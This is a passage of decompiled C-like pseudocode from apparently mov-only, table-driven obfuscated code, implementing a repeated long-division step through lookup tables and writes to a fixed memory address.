unsigned int v163 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v163;
*(char*)&alu_c = (unsigned char)(v163 >>> 8);
unsigned int v164 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v164;
*(char*)&alu_c = (unsigned char)(v164 >>> 8);
unsigned int v165 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v165;
*(char*)&alu_c = (unsigned char)(v165 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v166 = (unsigned int)*(short*)&alu_x;
unsigned int v167 = alu_c;
int v168 = *(int*)(v167 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v166 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v168;
*(int*)0x81FCFEE = v168;
int v169 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v167 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v167 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v166 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v169;
*(int*)0x81FCFEE = v169;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v170 = alu_t;
alu_psel_r = *(unsigned int*)(v170 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v170 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v171 = (unsigned int)*(short*)&alu_x;
unsigned int v172 = alu_c;
int v173 = *(int*)(v172 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v171 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v173;
*(int*)0x81FCFEE = v173;
int v174 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v172 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v172 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v171 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v174;
*(int*)0x81FCFEE = v174;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 3) + (int)&alu_b_s_0);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b7);
unsigned int v175 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v175;
*(char*)&alu_c = (unsigned char)(v175 >>> 8);
unsigned int v176 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v176;
*(char*)&alu_c = (unsigned char)(v176 >>> 8);
unsigned int v177 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v177;
*(char*)&alu_c = (unsigned char)(v177 >>> 8);
unsigned int v178 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v178;
*(char*)&alu_c = (unsigned char)(v178 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v179 = (unsigned int)*(short*)&alu_x;
unsigned int v180 = alu_c;
int v181 = *(int*)(v180 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v179 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v181;
*(int*)0x81FCFEE = v181;
int v182 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v180 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v180 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v179 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v182;
*(int*)0x81FCFEE = v182;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v183 = alu_t;
alu_psel_r = *(unsigned int*)(v183 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v183 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v184 = (unsigned int)*(short*)&alu_x;
unsigned int v185 = alu_c;
int v186 = *(int*)(v185 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v184 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v186;
*(int*)0x81FCFEE = v186;
int v187 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v185 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v185 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v184 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v187;
*(int*)0x81FCFEE = v187;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 2) + (int)&alu_b_s_7);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b6);
unsigned int v188 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v188;
*(char*)&alu_c = (unsigned char)(v188 >>> 8);
unsigned int v189 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v189;
*(char*)&alu_c = (unsigned char)(v189 >>> 8);
unsigned int v190 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v190;
*(char*)&alu_c = (unsigned char)(v190 >>> 8);
unsigned int v191 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v191;
*(char*)&alu_c = (unsigned char)(v191 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v192 = (unsigned int)*(short*)&alu_x;
unsigned int v193 = alu_c;
int v194 = *(int*)(v193 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v192 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v194;
*(int*)0x81FCFEE = v194;
int v195 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v193 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v193 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v192 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v195;
*(int*)0x81FCFEE = v195;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v196 = alu_t;
alu_psel_r = *(unsigned int*)(v196 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v196 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v197 = (unsigned int)*(short*)&alu_x;
unsigned int v198 = alu_c;
int v199 = *(int*)(v198 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v197 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v199;
*(int*)0x81FCFEE = v199;
int v200 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v198 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v198 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v197 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v200;
*(int*)0x81FCFEE = v200;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_6);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b5);
unsigned int v201 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v201;
*(char*)&alu_c = (unsigned char)(v201 >>> 8);
unsigned int v202 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v202;
*(char*)&alu_c = (unsigned char)(v202 >>> 8);
unsigned int v203 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v203;
*(char*)&alu_c = (unsigned char)(v203 >>> 8);
unsigned int v204 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v204;
*(char*)&alu_c = (unsigned char)(v204 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v205 = (unsigned int)*(short*)&alu_x;
unsigned int v206 = alu_c;
int v207 = *(int*)(v206 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v205 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v207;
*(int*)0x81FCFEE = v207;
int v208 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v206 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v206 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v205 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v208;
*(int*)0x81FCFEE = v208;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v209 = alu_t;
alu_psel_r = *(unsigned int*)(v209 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v209 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v210 = (unsigned int)*(short*)&alu_x;
unsigned int v211 = alu_c;
int v212 = *(int*)(v211 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v210 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v212;
*(int*)0x81FCFEE = v212;
int v213 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v211 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v211 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v210 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v213;
*(int*)0x81FCFEE = v213;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_5);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b4);
unsigned int v214 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v214;
*(char*)&alu_c = (unsigned char)(v214 >>> 8);
unsigned int v215 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v215;
*(char*)&alu_c = (unsigned char)(v215 >>> 8);
unsigned int v216 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v216;
*(char*)&alu_c = (unsigned char)(v216 >>> 8);
unsigned int v217 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v217;
*(char*)&alu_c = (unsigned char)(v217 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v218 = (unsigned int)*(short*)&alu_x;
unsigned int v219 = alu_c;
int v220 = *(int*)(v219 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v218 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v220;
*(int*)0x81FCFEE = v220;
int v221 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v219 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v219 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v218 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v221;
*(int*)0x81FCFEE = v221;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v222 = alu_t;
alu_psel_r = *(unsigned int*)(v222 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v222 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v223 = (unsigned int)*(short*)&alu_x;
unsigned int v224 = alu_c;
int v225 = *(int*)(v224 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v223 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v225;
*(int*)0x81FCFEE = v225;
int v226 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v224 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v224 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v223 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v226;
*(int*)0x81FCFEE = v226;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_4);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b3);
unsigned int v227 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v227;
*(char*)&alu_c = (unsigned char)(v227 >>> 8);
unsigned int v228 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v228;
*(char*)&alu_c = (unsigned char)(v228 >>> 8);
unsigned int v229 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v229;
*(char*)&alu_c = (unsigned char)(v229 >>> 8);
unsigned int v230 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v230;
*(char*)&alu_c = (unsigned char)(v230 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v231 = (unsigned int)*(short*)&alu_x;
unsigned int v232 = alu_c;
int v233 = *(int*)(v232 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v231 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v233;
*(int*)0x81FCFEE = v233;
int v234 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v232 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v232 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v231 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v234;
*(int*)0x81FCFEE = v234;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v235 = alu_t;
alu_psel_r = *(unsigned int*)(v235 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v235 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v236 = (unsigned int)*(short*)&alu_x;
unsigned int v237 = alu_c;
int v238 = *(int*)(v237 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v236 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v238;
*(int*)0x81FCFEE = v238;
int v239 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v237 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v237 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v236 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v239;
*(int*)0x81FCFEE = v239;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_3);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b2);
unsigned int v240 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v240;
*(char*)&alu_c = (unsigned char)(v240 >>> 8);
unsigned int v241 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v241;
*(char*)&alu_c = (unsigned char)(v241 >>> 8);
unsigned int v242 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v242;
*(char*)&alu_c = (unsigned char)(v242 >>> 8);
unsigned int v243 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v243;
*(char*)&alu_c = (unsigned char)(v243 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v244 = (unsigned int)*(short*)&alu_x;
unsigned int v245 = alu_c;
int v246 = *(int*)(v245 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v244 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v246;
*(int*)0x81FCFEE = v246;
int v247 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v245 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v245 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v244 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v247;
*(int*)0x81FCFEE = v247;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v248 = alu_t;
alu_psel_r = *(unsigned int*)(v248 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v248 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v249 = (unsigned int)*(short*)&alu_x;
unsigned int v250 = alu_c;
int v251 = *(int*)(v250 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v249 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v251;
*(int*)0x81FCFEE = v251;
int v252 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v250 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v250 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v249 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v252;
*(int*)0x81FCFEE = v252;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_2);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b1);
unsigned int v253 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v253;
*(char*)&alu_c = (unsigned char)(v253 >>> 8);
unsigned int v254 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v254;
*(char*)&alu_c = (unsigned char)(v254 >>> 8);
unsigned int v255 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v255;
*(char*)&alu_c = (unsigned char)(v255 >>> 8);
unsigned int v256 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v256;
*(char*)&alu_c = (unsigned char)(v256 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v257 = (unsigned int)*(short*)&alu_x;
unsigned int v258 = alu_c;
int v259 = *(int*)(v258 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v257 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v259;
*(int*)0x81FCFEE = v259;
